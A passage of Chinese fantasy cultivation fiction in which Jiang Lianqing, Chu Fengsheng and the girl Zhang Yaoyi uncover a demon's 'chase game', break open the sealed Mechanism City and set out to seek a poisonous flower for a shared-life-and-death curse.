几株梨花栽在一旁,恰逢花去,梨白飘雪。
倒是成了一场静默的春日雪。
流水潺潺,落花轻浮。
远远可见破败房屋,然魔气丝毫未减。
姜涟清在溪水边见到了同样冒着黑气的蛛丝,它压在芳草之上,此片芳草尽焚。
红线还未到尽头。
二人继续走下去,入了一小镇,小镇口处,石碑上“流水镇”三字饱经风霜,已然陈旧。
“嘶哈——!”
姜涟清与楚逢生对视一眼。
这初见白蜘蛛时同样的嘶吼声。
姜涟清:“你现在没有灵力,找个地方自己蹲好,等我解决了再出来。”
楚逢生乖巧点头:“去吧去吧。”
听他答应,姜涟清召出夜阑珊,朝声音方向飞奔而去。
果真是那白蜘蛛。
一头发凌乱的浑身血污的蓝衣小女孩被它按在身下,不远处还有一把插在地上的紫剑。
风尘尽起,剑柄上的并蒂连枝的昙花剑穗飘摇不定。
女孩奋力挣扎,却无果,那骇人獠牙眼瞧着便要咬上面庞。
说时迟那时快,一抹梨花淡香轻拂,一柄红伞一下挑开这巨大的蜘蛛!将之掀翻!
蜘蛛蛄蛹两下翻过身来,正恼怒要上前继续进攻,却突然停下脚步,转身欲逃。
“啧。”
姜涟清这次可不打算放过它。
一个人形都无法完全修成的妖能有多大修为?
如若这都敢随便见个人就往上扑,够它死千百回,但偏偏它就是敢。
要如何,它才如此敢做?
她现在是信了楚逢生说辞了。
被邀请入局的,是灵力禁锢的那批人。
姜涟清拦住白蜘蛛去路,好不犹豫刺穿它的身躯,硬生生将妖核刺破!
这回便不是捕猎时兴奋的吼叫了,而是凄厉非常的惨叫。
污血四溅,挣扎扑腾的足不再动弹。
姜涟清收起夜阑珊,走到女孩身前微微蹲下,向她伸出手。
“你好,我叫姜涟清,是降星洲归谕门门主。”
小女孩眸中唯有波澜,轻轻搭上那只欲扶她起身的玉手:“您好,我是章窈漪,云上洲七宿门弟子。”
章窈漪起身第一件事,便是拔出那把插在地上的紫剑,吹了吹剑穗染上的尘灰。
危险过后,毫无灵力的楚逢生也从暗处露面。
他站在姜涟清身侧,看着那女孩拨弄剑穗,隐约看见,那剑柄上刻了两个字——
截昙。
欲将天河洗,斩刹那芳华。
楚逢生咽了口口水。
章窈漪一回头,见救她的漂亮姐姐身边突然站了一个面若桃花的黑衣男子,不由困惑。
章窈漪:“这位……道友?你冒然前来,是否应该先报上姓名?”
楚逢生即答:“我叫楚予思。”随后又问:“敢问道友,可知为何一入沧洲便灵力尽失,又可知这妖邪为何见人就扑?”
章窈漪收起截昙剑,将面前散乱的长发别到耳后:“因为一个,游戏?”
姜涟清眉头微蹙,神色凝重:“什么叫游戏?这般杀戮之事,怎可称之为游戏?”
章窈漪点点头,理解她为何难以置信:“很荒谬,但这是一个游戏。”
“一个追逐游戏。”
19. chapter.19云上
“为何是这般说法?”姜涟清问,“我此番前来便是为了机关城闭城之事,想必与这所谓的游戏脱不了干系吧?”
章窈漪眼中闪过一丝茫然:“机关城闭?为何?从未有人传出此事。”
姜涟清和楚逢生对视一眼,怎么也想不明白,白非言所说的机关城闭之事为何不为她知。
按白非言的说法,机关城在很久之前就闭城不开,这消息早就传遍尘缘九洲。
云上洲人竟对此毫不知情?
是消息闭塞,还是漠不关心?
“机关城何时闭?”章窈漪又问,“我是就是来机关城,请我大师兄的。大师兄行踪不定,前些日子刚在降星洲露了个头,我推测他接下来肯定要来机关城。”
“机关城怎会闭城不开?是云上洲消息闭塞吗?”说着,女孩一副沉思样,喃喃:“也并非毫无可能。”
“入世之人,当是只有我师兄一人,其余人对凡尘乱世皆不关心,云上洲修士向来不问红尘……”
眼见两个女孩各自心有所思,楚逢生干脆提议:“去溪边洗把脸吗道友?如有受伤,我能帮你瞧瞧。”
章窈漪闻言,摸了一把脸颊,看着手上的血迹嫌弃得皱起眉。
“嗯,好的。”
三人往流水镇外去,又到了飘满梨花的小溪。
章窈漪捧起一捧清水扑在脸上,洗去血污的同时也打湿了刘海,发丝黏在皮肤上,大约是让她难受得紧,悉数剥开,露出光滑白皙的额头。
脸一洗净,也颇有种清水出芙蓉感,看着和哪家不谙世事的孩童一般。
姜涟清心中顿有疑惑:“道友今年芳龄几何?”
章窈漪一顿:“十三?还是十四?我才拜入云上洲不久,本来是盈洲人。”
原来是个豆蔻年华的小姑娘。
洗完脸,章窈漪不忘把散乱的发丝重新梳理,不多时便将自己收拾妥当。
章窈漪:“其实如果可以的话,直接叫我名字吧,我还是不习惯和别人道友道友的相处。”
姜涟清点头:“我也觉得这称呼太过正式疏离,那……窈窈小道友?”
窈窈小朋友方才还凑在溪水前,现在“噌”一下站了起来。
“这位姐姐,你怎么知道这是我小名的?”
姜涟清眨眨眼:“我只是按自己喜好顺口叫了呀。”
“那接下来,可以好好聊一聊了吗,窈窈?”
楚逢生在一旁翻着小药匣子,翻来覆去照出个小药瓶,递给面前的小姑娘:“这个先拿着,皮外伤可以用,好的可快。”
章窈漪接过瓷白的药品,垂眸浅笑:“那你们想知道什么?”
一片梨白落到姜涟清发顶,风轻轻一吹,又落进溪水中,随波逐流。
楚逢生手欠,截了落花的去路,将之从溪水中捞起:“为什么说这是个追逐游戏?”
章窈漪:“这很难理解吗?就是一个你追我赶的游戏呀。”
“我知道这很奇怪,但定义便是如此。我初来乍到时惊觉灵力消失,还觉得很慌张,下一刻就遇上了妖邪截堵,若不是运气好,侥幸搏过,可能就见不到你们了。”
楚逢生一下沉默了。
运气好侥幸搏过。
一个十三四岁刚入道不久的孩子说,只是运气好侥幸。
这群天才果然是幼时便展现了惊人天赋,估计章窈漪的修为已有筑基。
离盈洲之乱才多久?楚逢生不敢想象。
章窈漪:“当时也遇到过一些同样失去灵力的修士,大多数是沧洲修士,他们说,这番怪事从冬日起便开始了,有人在机关城外立起一块告示牌,说着什么,即日起,元婴之下皆为凡者。”
即日起,元婴之下皆为凡者。
姜涟清细细琢磨着,不由联想到降星洲白玉村那些为虎作伥的村民。
为何要是凡者?为了达到某种程度的平等吗?
更像是要将修为低微的妖邪与修士地位颠倒,转换为妖追人。
姜涟清:“那告示就只留了这一句话吗?”
章窈漪抱着截昙剑,拨弄并蒂花剑穗:“不,那人,或者说邪祟?还留下了自己的名字,春望。”
“春望之名,我曾在盈洲听过无数次,他的魔气难以忘却,亦亲眼见过那悲怆景象。此邪祟最大的喜好便是杀人,如若是他所为,我并不觉着奇怪。”
“他就是……”章窈漪抿唇,“如此爱玩弄他人性命。”
姜涟清闻言轻笑。
春望吗?
非要她说,这般拐弯抹角可不似他的风格,更何况这股魔气与春望并不相同。
当时的盈洲到底是何种模样?姜涟清总觉着,当时的盈洲或许不止一名邪祟盘踞。
可为何是盈洲?
论天地灵气,妄洲邻里初日洲丝毫不输,如若只想扩大影响力,那为何跳过最近初日洲,直奔盈洲?
白非言说,现在的盈洲无人再敢许约,现在的沧洲机关城闭,民不聊生。
章窈漪说,过去的盈洲血流成河,现在的沧洲正举行着一场追逐游戏。
天下谜团,各自其说。
倒是奇了。
姜涟清现在越来越好奇,这机关城是为何而闭。
即墨逾此人当真如传闻那般大爱无疆,正义凛然吗?
倘若是真,她还真有些相信白非言口中说的猜想了,莫非那邪祟寄生于即墨逾,操控其意念,犯下此行?
春望喜欢与自己截然相反之人,那同样作为邪祟之一的,这名不知名邪灵,又喜欢什么?
倘若是假……目前也找不到什么占住理由的东西。
“不是哦,窈窈。”姜涟清拨过发后的红飘带,在手指上绕了几圈,“这股气息并非春望。”
“什么?”章窈漪反驳,“我明明在盈洲感觉到的就是……”
“因为我的宗门便是春望所屠。”未等她说完,姜涟清便打断,“我不会认错仇人的气息,而如今,春望已经随我二师兄一起赴了黄泉。”
“你知道吧?邪祟寄生他人灵魂,人死则他死。”
章窈漪攥着小药瓶的手无意识使了力:“话虽如此……”
姜涟清:“窈窈,如果你真的觉得这是春望的气息,那或许有个答案已然浮出水面。”
章窈漪一愣:“什么?”
楚逢生捏着那瓣梨白,终于玩够,将之放进药匣子,也不知意欲为何。
姜涟清不愧是姜涟清。他心中感叹。
“她的意思是,当时的盈洲,绝不只有春望一个邪祟,如今甚至,仍有邪祟隐匿于盈洲。”
“毕竟嘛。”楚逢生回忆史书记载,有些怅然,“现在的盈洲,不敢轻易许期。”
熙和年记书言:世风日下,迈入盈洲之人皆记不得许约,最不能许期,恐引杀身祸。
为何是最不能许期?
楚逢生并不知晓。
那藏在历史洪流中的秘闻,皆一笔带过。
姜涟清:“我是和你说的不得许期?”
楚逢生
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:“不是啊,这不是一时说快了,是不得许约才对。”
姜涟清白他一眼。
她还以为又抓到他的漏洞了,结果依旧不认。不知为何,她就是觉得,楚逢生很松弛。
松弛到,像个漠然的旁观者。
也罢,人都是要有自己的秘密的。
姜涟清忆起章窈漪所说的寻人,问:“那么,窈窈,要同我一起前往机关城吗?”
“要!”章窈漪愁容满面,“我大师兄肯定来这了,除了这机关城主,还有什么值得他离开云上洲?”
姜涟清:“哦?如此肯定?”
章窈漪愤愤道:“就是我大师兄带我去云上洲的,在我拜入云上洲前就是大师兄带着他,来盈洲和那个姓吴的哥哥一起,把妄洲邪祟打跑的。”
“挚友欸!”她强调,“我大师兄居然说是唯一挚友啊!云上洲人还能有个其他洲的挚友,知道多难得吗!”
“我来沧洲,就是听了师尊号令,来找大师兄回去的,云上洲不管凡尘事,大师兄已经破例过了。”
楚逢生:“你大师兄叫什么?这样一说,听起来倒是个不得了的人物,如此心怀苍生之人居然来自云上洲?”他咂咂嘴:“还真是开了眼了。”
姜涟清拍他肩膀一下:“云上洲人怎么了?”
“嗷!嘶……”楚逢生叫了一声,看来力道不轻。
他捂着肩膀,胡乱揉搓几下:“问就问嘛,打我干什么?”
“云上洲那批人全是无情道爱好者,一直无情道一直碎,云上洲就和它名字一样在云上,那是最像仙人的一批人了。”
“七宿门更是最极端的。你说好笑吗?他们也不是不知道无情道修的是个心无偏颇,可人怎么可能做到真的没有偏向?于是为了修个道,一个两个都了却尘世了呗。”
章窈漪气急:“污蔑啊!你是何居心如此揣度我七宿门!”
说着作势就要抽出截昙剑护宗门清誉。
楚逢生见此情形就往姜涟清身后躲:“哪里冤枉了?你师尊要你寻你家大师兄回去难道不是这个原因?”
他高出姜涟清不止一头,此刻却显得小鸟依人,莫名喜感。
“你大师兄要是是个无情道修者,还能解盈洲乱,保守估计是个化神。”
“一个化神期的无情道,说机关城主是唯一挚友?哇塞,这样肯定的唯一吗?”
楚逢生一想到灵初年还未过完,浮华届第一个传闻就出在了云上洲七宿门,不得不感慨这群避世天才就是强的逆天。
无情道修士如此肯定的唯一,分量绝对不轻。
章窈漪:“你在暗示什么啊!我大师兄肯定不会破道的!”
“哎呀好啦!”
姜涟清终于烦不甚烦,一把推开身后的楚逢生,将身前的小姑娘连人带剑拥入怀中。
吵闹的二人皆是一惊。
姜涟清轻轻拍了拍章窈漪的背:“不要和那个嘴上功夫了得的医修吵,我刚见他时他就问人家妖怪是不是没有家人。”
楚逢生:“……”
为何又拿这一茬说事,过不去了是吧?
“不生气不生气。”她又摸了摸女孩柔顺的发髻,转头瞪楚逢生一眼:“楚逢生你真是,和窈窈吵架干什么?”
楚逢生不可置信地指了指自己:“我不就是说个外人看来的客观事实吗?”
章窈漪埋在姜涟清怀里,闷声:“你印象固化!”
“就是就是。”姜涟清附和。
楚逢生:“……”
20. chapter.20开城
走过流水镇后,又是迷雾萦绕的树林。
暗无天日,阴冷冰凉。
也不知这机关城为何要藏于如此容易迷路的大雾之中。
远处依稀可见明光,可视线模糊,一下子看不清是为何物。
姜涟清呼吸放缓,闭目,感知灵力流动。那明光,倒不太像妖邪所致,却也不似正常燃起。
火舌迅速沿雾蔓延,直逼三人面前!
姜涟清睁眼一惊,迅速拉着两人几步躲开。
然,这焰火倒是神奇,并非点着任何花草树木,而是沿着这迷雾一路烧了出去,林中顿时妖邪惨叫此起彼伏。
“这是……”姜涟清从未见过如此奇景。
楚逢生瞠目结舌:“我的天,这烧的是雾啊?这得到什么地步才能把这妖雾焚烧殆尽?”
他眺望远处,迷蒙不清的去路刹那间没了阻碍,依稀可见一块告示牌拦在路中央。
章窈漪若有所思,睫毛一颤:“大概是即墨先生吧,不然我也想不到沧洲还有谁人能有此番修为。”
姜涟清愈发好奇了,这即墨逾到底……真令人捉摸不透。
三人继续上前,在那块告示牌前停下。
这就是那块,昭示沧洲修士,追逐游戏开始的告示牌了。
姜涟清一字一句轻声慢读:“致,沧洲修道者,即日起,元婴之下皆为凡者……追逐,猎杀,乃再有趣不过之事,还望各位陪吾人间戏一场……春望……”
“啧。”姜涟清看着这造假的姓名,掐了个清净决。
落款上的名字一点点掉落成灰,春望二字瓦解,露出猩红二字——
夏期。
楚逢生:“嚯,这妄洲邪祟,难不成是以春夏秋冬命名?”他伸手,掰扯手指,每报一个名字便折下一根:“春望,夏期,秋许,冬什么?”
姜涟清敲了一下他的额头:“现在就不要贫嘴了,这夏期明显比春望不像人!”
“为什么这样说?”章窈漪问。
姜涟清:“很简单。”
她还记得,春望在那轮红月之下癫狂的神情,那样浓烈的恨意,太像一个人了。
姜涟清:“春望很恨修士,也恨欺骗他的人,根本没有什么玩心,直截了当就是要向其他洲复仇。这夏期就不太能理解了,游戏?他是小孩子吗?一股小孩子的味道。”
章窈漪:“小孩子怎么能想出这么恶毒的游戏?”
倒也不是说小孩子不知善恶,不知何可为之,何为不可为之。
姜涟清:“确切说,这就像是一时兴起想到了趣事,迫不及待实施,丝毫不顾及这对他人而言是否是场灾难。”
“就和孩童一般。”姜涟清又看了一遍告示,意味深长,“孩童若是未经管教,是不知何为善恶的。”
楚逢生又看了一遍这公告牌,在右下角的署名边看到了一个很小的玫瑰刻痕。
楚逢生:“……呵呵。”
楚逢生:“说不准真是什么小孩子心性呢,还雕玫瑰。好吧,那接下来呢?这机关城不开要怎么办?”
“打开啊。”姜涟清睨他一眼,仿佛他问了一个多么蠢的问题。
楚逢生:“啊?”
章窈漪:“什么打开?”
姜涟清:“就是,打开啊。”
说着,她召出夜阑珊,毫不犹豫向着不远处的城门飞去。
*
机关城中向来无风无浪,街口小巷之中照常生活,各种店铺开张,几乎每家都人满为患。
街上人群熙攘,热闹非凡。
然而机关城人却不似表面那般淡定。
要知道,自从新城主即墨逾归来后,这机关城就关上了,再进不来一个人,也进不来任何魔物。
人们纷纷猜想,这外界到底出了何时,又或是这即墨城主有什么考量。
从去年冬日起,到今年春末,这城门终于为一人所开。
依稀有人记得,那是个蓝衣蹁跹,风度翩翩少年郎,当时见到他的人心中皆震撼。
这机关城的门,说是门,却是一无比复杂的机关造物,修为不到化神休想强行开门。
而这人来时不染清尘,断不可能是硬闯进来的。
不过不出一日,这少年便在城中消失了,再无人见过他的身影。
机关城人也便当这只是一个小插曲,不再提及。
外界如何,已不想再问,再多也影响不了城内生活。
漠不关心?太过无情?或许吧。
一切皆出于对城主的信任罢了。
谁人不知他们这位新城主,解过盈洲乱,闯过极夜洲昼夜同天?这样一位逢乱必行的城主,有何理由怀疑他的目的?
机关城人反正不会怀疑,即便心中再不安宁。
“城主。”
城主府中,即墨北拿着一页纸,毕恭毕敬地禀报详情。
“您所要的魂玉已经找到了,但其中还有一物,必须要出城才行,城中已无存货。”
即墨逾提笔坐于青墨碎玉屏风后,画着些寻常人看不懂的符号:“缺什么?”
即墨北答:“绛霜花。”
即墨北也不知,他们家少爷为何自从去年冬日归来继承了机关城后,便下令闭城,任何人不得出入。
也不知为何那自称少爷挚友的少年,怎的破解了机关城城门,而后被少爷金屋藏娇。
藏娇第一天,少爷便列了一单子的东西,要他去找。
即便是魂玉,也不及绛霜花那般难找。
生于沧澜海岸,即极夜洲最为神秘的共生崖之上。相传,极夜洲灵气所孕育的灵皆于此诞生。
而这一次的极夜洲之灵,在昼夜同天中销声匿迹。
极夜洲现在仍然在恐慌之中,昼时日光灼人,夜时月光刺骨。
任谁也不想现在去到极夜洲。为了一株草,怎可拿人性命做赌?
即墨北:“城主,为何要寻绛霜花这剧毒之物?”
即墨逾未抬头,墨发尽散,眸色深沉:“我自有我的理由,沧洲之乱,该了结了。”
他搁笔,揉了揉眉心,看似疲惫不堪:“你下去吧。”
即墨北:“是。”
待即墨北走后,即墨逾整理了书案,目触那圆环似的画时,平静如水的眼眸终于起了一丝波澜。
他不会放任,也不会允许。
会有办法把夏期分离出去,会有办法让他活下来的。
一切机会,都在这绛霜之上。
可思及机关城外那魔气所制的屏障,他又觉着头疼。
夏期的追逐游戏,还需要夏期去解,但他绝对不会轻易放弃这个,他筹谋已久的乐趣。
或许……可以让他来?
不,邪灵与他的能力是分开的,并不能混为一谈。
否则那吴云贺不可能就让他这样大摇大摆地回到降星洲,让春望增了许多杀孽。
他和夏期也一样。
察觉不到夏期的踪迹,便是因为夏期寄生了他的灵魂。
怀疑任何人,即墨逾都不会怀疑自己这位挚友。
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他无意识轻叹一声,起身往后院去。
小院中,梨白落地,海棠芳菲尽,唯有浮洲捎回的萱花不败,花开正好。
萱花一旦离了浮洲,便不会再败了。
吱嘎。
他推了门进去。
几经辗转,他又站在了那模糊了身影的屏风之后。
即墨逾看见,为穿鞋袜的少年,一脚踏在床沿,一脚自然垂落,正支着手,静静地透过屏风看他。
少年不发一言,不知怎的,即墨逾好似被什么拖住了腿脚,亦在原地不动分毫。
经此一别,已过春冬。
正当再见时,二人哑口无言,不知开场白要如何出口。
半晌,即墨逾听到少年说。
“玉玉,杀了我。”
这声音如记忆中那般清透,短短五字却让人如坠冰窟。
即墨逾上前一步:“小夕……”
“玉玉。”
那少年笑了出来,即墨逾又一次停下步伐。
他笑了好一会,笑得浑身发抖,面上似有晶莹划过,一瞬消失不见。
他再次说。
“杀了我。”
即墨逾再没有什么时候比现在更懂得,何为心如刀绞却一字难吐。
“小……”
“少爷!少爷!出大事了少爷!这事恐怕必须要您出面!”
话未出口,即墨北匆匆忙忙撞开房门,连称呼都忘了改。
即墨逾正色道:“何事?”
即墨北靠在门框上粗喘着:“城门!城门一直在响!有人在攻击机关城门,意欲破门而入啊!”
屏风后的少年闻言,也知眼下这消息更为要紧。他轻声说:“你先去吧,我就在这里。”
即墨北这才发觉,屋内那陌生少年的姿态竟全然不同了,不由好奇探头,想看个究竟。
结果就是正面对上了自家少爷暗沉的眼眸,好像对他的行为很不满的样子。
他一激灵:“少爷,快走吧咱!”
即墨逾:“知道了。”说着,他不忘再往里看了一眼。
*
“涟清姐姐,这样真的有用吗?”
楚逢生嘴里叼了片细长的草叶,面无表情地蹲在城门口,看着姜涟清一下又一下地攻击城门。
城门内有没有什么动静不知道,反正城门外快成第二个千年后的妄洲了。
尘土飞扬间,他只得隐隐看清那青色身影,与姜涟清的红色飘带。
章窈漪就蹲在他身边,用截昙剑在地上划了又一道痕:“已经一个时辰了,她不累吗?”
她也觉得这个方法过于惊骇世俗:“怎么真的是打开啊,这样真的有用吗?”
姜涟清一手叉腰,一手执伞,抬头望着这巨大的城门。
她不咸不淡道:“不然还能怎么办?我们三个有谁精通机关术吗?我一直怀疑除了机关城人,已经没有人钻研机关术了。”
楚逢生吐出嘴巴里的草,敷衍点头:“这倒是,机关术本来就难学。”
“可是……”他一阵无语,“靠蛮力怎么也不可能把门打开吧?”
轰隆隆——
又一阵烟尘扬起,姜涟清下意识往后退了两步。
巨型门扉一寸一寸朝城外开启,两个人影在烟尘中看不清面容,却莫名有种庄严威肃之感。
这座在外界眼中睡了一整个春冬,在春花将尽之时,终于苏醒。
楚逢生:“……”
怎么真让打开了,话还真是说快了。
21. chapter.21绛霜
极夜洲距离沧洲倒是不远,可一路上遇到了太多其他从极夜洲逃出来的人。
无论是普通人,还是修士,都在远离极夜洲。
而姜涟清与楚逢生带着章窈漪,与之逆行,见了不知多少人的惊诧目光。
到了极夜洲与沧洲接壤处的客栈时,三人才有空思考,即墨逾到底为何要寻一株绛霜花。
夜色将至,黄昏已逝,极夜洲上方那轮明月冰冷阴森,肃杀苍然。
走进客栈前,看着天边那轮冰玉似的月,姜涟清心中顿觉不妙。
三人坐在客栈楼下,叫了些小菜,顺时规划接下来的行程。
楚逢生剥了颗花生扔进嘴里,咀嚼着:“我还是不明白,为什么要一株绛霜花。”
即便城门大开,那即墨逾最终也未让三人进城,反倒是听了他们的目的后,作为机关城开城的交换,要他们寻一株绛霜花来。
楚逢生一脚踩着凳子,大咧咧的。好在夜色已深,客栈楼下人不多,否则就他这德行,指不定被谁谈论。
事实上现在也有人在看他们。
楚逢生微微撇头,看着姜涟清身后那红衣男子。
对方察觉到他的视线,先是一愣,而后满含歉意得笑了笑。
姜涟清要了碗清茶,茶未尽,危机感愈来愈强。从踏进极夜洲起,她便觉着危险非常。
不是沧洲那般魔气四溢的危险,而是一种……死气。
她总觉得,这片土地要死了。
听楚逢生疑惑,姜涟清从愁思中剥离:“天知道即墨先生在想些什么呢?他只说了这事关沧洲之灾。”
楚逢生:“那和绛霜花什么关系?”
他实在是想不明白了,这种剧毒草药怎么就成了破局关键。
绛霜花毒连云蘅草都解不了,要怎样用此救沧洲于水火?
*
那即墨先生,黑红衣衫,眸深似潭水,一眼看去,谁都不相信这是个心系天下之人,看着着实太过冷漠。
他当时立于城前,手持一把黑红的机关扇,做做样子地扇着,说出的话听不出他是何心情。
可是即墨逾开口便说:“我知沧洲之灾是为哪一邪祟所为,先已捉拿归案,但他寄生之人并非穷凶极恶者,我必须,让他活下来。”
章窈漪:“我只想知道,我大师兄是不是在这里?”
寄生之人是谁,他不说,章窈漪的问题,他也不答。
姜涟清执红伞,站在最前方:“所以机关城为何不开?您也知道,沧洲之灾祸患无穷,机关城人的的确确安全了,那沧洲其他百姓和修士该当如何?”
即墨逾机关扇一收:“我自然知道,可有心无力,要杀尽沧洲所有妖邪是不可能的,自元婴之下修士到沧洲后灵力尽失的消息传出,姜姑娘,你又知,有多少妖邪源源不断地来到这里?”
“在下做不到,这也不现实,我只能先护好机关城中的百姓,再隔段时间点一次魔雾。”
姜涟清没想到他竟知晓自己是谁,自城门开启,她还未报上过自己的名讳。
似是看出她有些惊讶,即墨逾随即道:“你的二师兄,吴云贺,在盈洲时经常提起你,加之你师尊托我做了三枚梨花钱赠予你,姜姑娘之名,在下自然知道。”
姜涟清垂眸。
吴云贺在盈洲的时候会经常提起她?也是,二师兄是再重情义不过之人,恐怕不只是她,连同大师兄与整个宗门,都被他挂在嘴边。
姜涟清:“既然已找到罪魁祸首,你经过盈洲乱,也知道吧?杀死邪祟的方法便是寄生之人死亡。”
即墨逾:“外面是这样说的?”
姜涟清点头。
即墨逾沉默了好一会,居然讽刺地笑了一下:“此话是假,是追迹溯源。”
楚逢生出声:“什么意思?”
即墨逾看向声音来处,明明神色未曾有变,楚逢生却有种被看穿的窘迫感,好在他下一刻便移开了视线。
即墨逾:“意思是,若是寄生之人身死,妄洲邪祟便会回到妄洲,与本源融为一体。”
“当时掀起盈洲乱的并非秋许也并非春望。”即墨逾突然觉得,那刺耳哀戚的童声又在耳侧,怒斥着他的虚伪寡言。
“那邪祟现在就在妄洲,等着她其余四分之三的寄生者死去,盼着这些不完整的灵归到妄洲。”
“假若你们日后去到初日洲,定然可能梦见她在梦中哭泣。”
“所以。”即墨逾一抬眼,“夏期最初不敢寄生,他玩不够。”
“如若你们便是为了杀死邪祟而来,那,在下可否请你们帮个小忙?算是为除去邪祟,保下无辜之人所做贡献。”
“事成之后,在下必将开启机关城。”说着,即墨逾拱手行礼。
见他如此认真,姜涟清犹豫良久,最终,尘灰飞扬间,她应允了。
*
可这极夜洲真不是那么好闯的。
昼夜同天的现象并未解决,甚至不知何时会有下一次。
楚逢生又剥了几颗花生,递给姜涟清:“我不是说过,绛霜花作用最明了的说法就是同死共生吗?”
姜涟清接过花生:“嗯哼,我当时还说和沙红姬很像,你还反驳我。”
章窈漪坐在一边,细细擦拭截昙剑,头也不抬一下:“确实很像啊,同死共生,和不能同生那就同死,到头来都是一个死字。”
“不过我还是觉得绛霜恶心一点。”章窈漪吹了一下双生昙花穗,“同死共生,禁锢感好强,而且通过绛霜,真能搞出一个同死共生咒。”
姜涟清吃花生的动作一顿:“同死共生咒?字面意思的同生共死?”
章窈漪蹙着眉头点头:“对啊,好强的束缚感,听到就觉得窒息。”
“即墨逾要绛霜花干什么?这东西除了当解药毒药就只有同死共生咒了,同生共死咒是什么好东西似的。”
她一下子趴在桌上,声音闷闷的,好不委屈:“他都不回答我大师兄在不在……我大师兄还说他是唯一挚友呢。”
“我大师兄的去向在他心中就这般不重要……果然是冷酷无情的男人……”
“唉……自作多情是很可怜啦。”姜涟清摸摸小姑娘的头,“但也没办法,谁还能强求在对方心中,和对方在自己心中是同种地位?”
章窈漪:“话是这样说啦……但要是我和姐姐,姐姐心中的我与我心中的她不在同等地位,我定是要难过伤心的。”
楚逢生听到同死共生咒的时候,觉着茅塞顿开。
抛开它最开始出现的意义,用在妄洲邪祟上,简直是个绝佳的点子。
可前提是,它要只同生不同死。
其次就是,绝对会有人代替寄生者死去。
这要如何调解?
即墨逾想要绛霜花肯定不是因为其解药毒药同体,那还能是为了什么?
楚逢生觉得自己应该是猜到答案了,可不是灵修,该如何处理灵魂上的事?同死共生咒虽听着险恶,但一点毋庸置疑。
若非灵修,绝无可能办到。
同死共生本就是绑定生死,牵系灵魂之事。
楚逢生:“绛霜花和沙红姬还是很不一样的,窈窈小道友不要太有偏见啊。”
章窈漪:“怎么很不一样?反正都是要死的。”
“不是这样哦。”
温润尔雅的声音在姜涟清背后响起,那红衣人薇颜浅笑,几根红线简单扎起几缕青丝。
姜涟清一惊,一下子
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换了位置,坐到楚逢生身边。
红衣人见此情形,镇定自若地在姜涟清原先的位置坐下了,支着个下巴,饶有兴致地扫视三人。
章窈漪一下子就坐直了身子,右手够到截昙剑柄上。
红衣人手上缠了黑丝,面容如白瓷般,一眼便觉这人是个病人,而眼角却带着桃花般的绯色。
“三位好,我叫笙墨。”
笙墨说完,看着章窈漪警惕的模样,不由好笑:“小道友不要担心啊,我又不是坏人。”
章窈漪心中戒备不减,纹丝不动。
笙墨瞧她这样,笑了一声:“算啦。不过这绛霜和妄洲玫瑰不一样哦。”
“同死共生是多浪漫的誓言啊。”他低声道。
姜涟清:“哦?说到底不过是带着别人一起死,浪漫在哪里?”
笙墨漂亮的眸子移到姜涟清身上,也不似恼怒:“外来人果真不懂。”
“就如妄洲那沙漠玫瑰沙红姬,浮洲有棠溪萱花,极夜洲有共生崖绛霜。”
“同死共生,至此不渝,一醉方休。”
他一字一句道。
“这便是绛霜最初的意义。”
笙墨自然地从花生盘子里抓出一把花生,开始剥起来:“几位是要去极夜洲寻绛霜?现在的极夜洲可不安全哦。”
“我便是思考着是否要离开这里,才于客栈停留多日的。”
姜涟清于楚逢生对视一下,在对方眼中看见了与自己同样的心思。
姜涟清取过自己原先那杯清茶:“不得不来罢了,这位道友有何高见?”
笙墨娴熟地将花生丢进嘴里,玩游戏似的,咀嚼下肚后才再度开口。
“高见倒是没有,但若是想寻绛霜,我可以给你们带路。”笙墨又抓了一把花生,“昼夜同天事发,已经很久没有人来过极夜洲了。”
黑色的丝线缠在他手腕上,不止地盘绕着,如黑蛇蜿蜒,莫名头皮发麻,心生烦躁。
楚逢生:“你为何想帮我们?”
笙墨:“我只是正好决定回去看看啊。”他无辜地眨眨眼:“好说歹说那是我家,我想回家看看怎么了?只是顺路而已,绛霜谁想要都可以去采,又不是什么名贵之物。”
“比起初日洲稀少的,通体雪白的枯木逢春,绛霜开遍共生崖,只要爬上去就行。”
楚逢生一听到初日洲就想开口,被姜涟清不轻不重地拍了一下后背,那句“云蘅草怎么你了要这样举例”就连同花生一起咽进了肚子里。
姜涟清淡笑,不忘又拍楚逢生的后背:“道友有心了,那届时遍麻烦道友相助。”
楚逢生纳闷了,一把抓住姜涟清的手,在她手心写道。
——拍我干嘛?
姜涟清写回去。
——闭嘴。
——你不觉得很诡异吗?运气这么好,一出门一个大善人。
——他说的爬,是就着悬崖爬上去。
楚逢生:“……”
他明显想少了,前有姜涟清打开后有笙墨爬上去。
姜涟清不欲和他在手上辩嘴,起身:“时候不早了,我们三个就先回房间歇息了。”
笙墨:“这倒是提醒我了,确实该回去休息了。”
他也站了起来,比姜涟清还先有动作,直直往楼梯方向走去:“诸位,明日再见。”
章窈漪在笙墨到来期间一直一言不发,待他走后,才幽幽开口:“好怪。”
姜涟清再次落座:“哪里好怪?”
章窈漪:“同死共生,至此不渝,一醉方休。”
她重复了一遍笙墨所述的绛霜花之意。
“那,极夜洲现在这样。”
“是极夜洲之灵要死了吗?”
22. chapter.22昼焚
倘若灵便是此方天地最好的象征,如沙红姬那癫狂的杀意,与妄洲灵极致的恨意相互照应。
那绛霜的同死共生,是极夜洲与极夜洲之灵的关系吗?
“昼夜同天并非是说,白昼与黑夜同时出现。”章窈漪想起大师兄当时所述奇景,不禁皱眉,将怀中剑抱得更紧,“也没有经常出现。”
章窈漪:“昼夜同天之时,即是黄昏时刻或黎明时分,本该交替的昼夜碰撞在一起,引发无数天灾。”
“是天灾,而非人祸,来势汹汹,是否得以全身而返都是问题。”
“具体什么样我没见过,但你们也知道吧?即墨逾因为完好无损地从昼夜同天里出来了,再也无人置喙他的实力。”
姜涟清伸着手指在桌上画圈。
都说昼夜同天危险非常,无人提及昼时如何,夜间如何。
那是昼夜其间都平和无事吗?
望舒辉光冰寒刺骨,冷得要把人冻结一半,一见到便心生畏惧。夜间绝不似表面这般平静。
那昼时又是如何?姜涟清不安的预感愈发强烈了。
极夜洲神秘缄默,是尘缘九州大多数人的印象,所以,除非是祸患非常的昼夜同天,很少被人谈论。
存在感轻到,好像别人都忘记了。
妄洲灵的诞生还有待考究,可唯一确定的,是极夜洲之灵得天独厚,乃真正的天地孕育而生。
同死共生,至此不渝,一醉方休。
姜涟清轻轻叹了口气,在桌上画了一圈又一圈:“有什么事等白天再说吧,想必赶路也累了,我要回去继续修炼。”
